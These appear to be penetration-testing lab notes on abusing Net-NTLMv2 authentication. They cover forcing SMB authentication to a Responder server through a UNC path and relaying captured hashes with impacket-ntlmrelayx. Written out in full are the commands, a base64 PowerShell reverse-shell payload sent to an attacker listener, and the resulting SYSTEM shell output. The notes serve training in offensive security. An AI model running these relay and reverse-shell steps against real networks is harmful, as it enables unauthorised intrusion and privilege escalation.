If we gain access as an unprivileged user and cannot use tools like , we can abuse the Net-NTLMv2 network authentication protocol which is responsible for managing the authentication process for Windows clients and servers over a network.
Net-NTLMv2 exists on almost all Windows environments for combatibility purposes andit's less secure than the more modern Kerberos protocols.
SMB Authentication
Direct SMB Auth
We'll send the server a request, outlining the connection details to access the SMB share.
Then the server will send us a challenge in which we encrypt data for our response with our NTLM hash to prove our identity.
The server will then check our challenge response and either grant or deny access, accordingly.
We can force this using responder by connecting from the target to its SMB server as shown below:
# achieving RCE as a non-privileged user
$ nc 192.168.235.211 4444
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
files01\paul
C:\Windows\system32>net user paul
net user paul
User name paul
Full Name paul power
<SNIP>
Local Group Memberships *Remote Desktop Users *Users
# launching the SMB server on the attacking machine
$ sudo responder -I tun0
# connecting to a non-existent share to force authentication
C:\Windows\system32>dir \\192.168.45.186\test
dir \\192.168.45.186\test
Access is denied.
If we haven't achieved RCE, we could check for a file upload form in a web application on a Windows server and enter a non-existing file with a UNC path such as \\<attacker-IP>\share\nonexistent.txt. If the web app supports SMB uploads, the Windows server will authenticate to our SMB server.
Web requests interpret UNC paths according to the programming language used. Most of them treat \ as an escape character, thus, it needs to be doubled in order to make it a literal: \\\\server\\share.
NTMLv2 Relay
We have achieved RCE as file02admin on FILES01. Based on the name, we hypothesize that this account would be a local admin on FILES02. We have the NTLMv2 of this user, but it is uncrackable.
In this example we don't use the local Administrator user for the relay attack as we did for the PtH attack. Therefore, the target system needs to have UAC remote restrictions disabled or the command execution will fail. If UAC remote restrictions are enabled on the target then we can only use the local Administrator user for the relay attack.
Our goal now is to start an SMB server on the attacking machine using the impacket-ntlmrelayx script and instruct it to relay the command passed, in this case the reverse shell payload, along with the NTMLv2 hash to our target machine (FILES02). We can use cyberchef to Base64-encode the revese shell payload.
# relay the payload to the FILES02 machine
$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.235.212 -c "powershell -enc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JACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
# start a listener on the attacking machine
$ nc -nvlp 8080
# RCE on the FILES01 machine
$ nc 192.168.235.211 5555
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
files01\files02admin
# connect to a non-existent share to force authentication
C:\Windows\system32>dir \\192.168.45.186\test
dir \\192.168.45.186\test
The network name cannot be found.
$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.235.212 -c "powershell -enc JABjAGwAa<SNIP>=="
<SNIP>
[*] Servers started, waiting for connections
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.235.211, attacking target smb://192.168.235.212
[*] Authenticating against smb://192.168.235.212 as FILES01/FILES02ADMIN SUCCEED
[*] All targets processed!
# RCE on FILES02
$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.186] from (UNKNOWN) [192.168.235.212] 65367
PS C:\users\files02admin\desktop> whoami
nt authority\system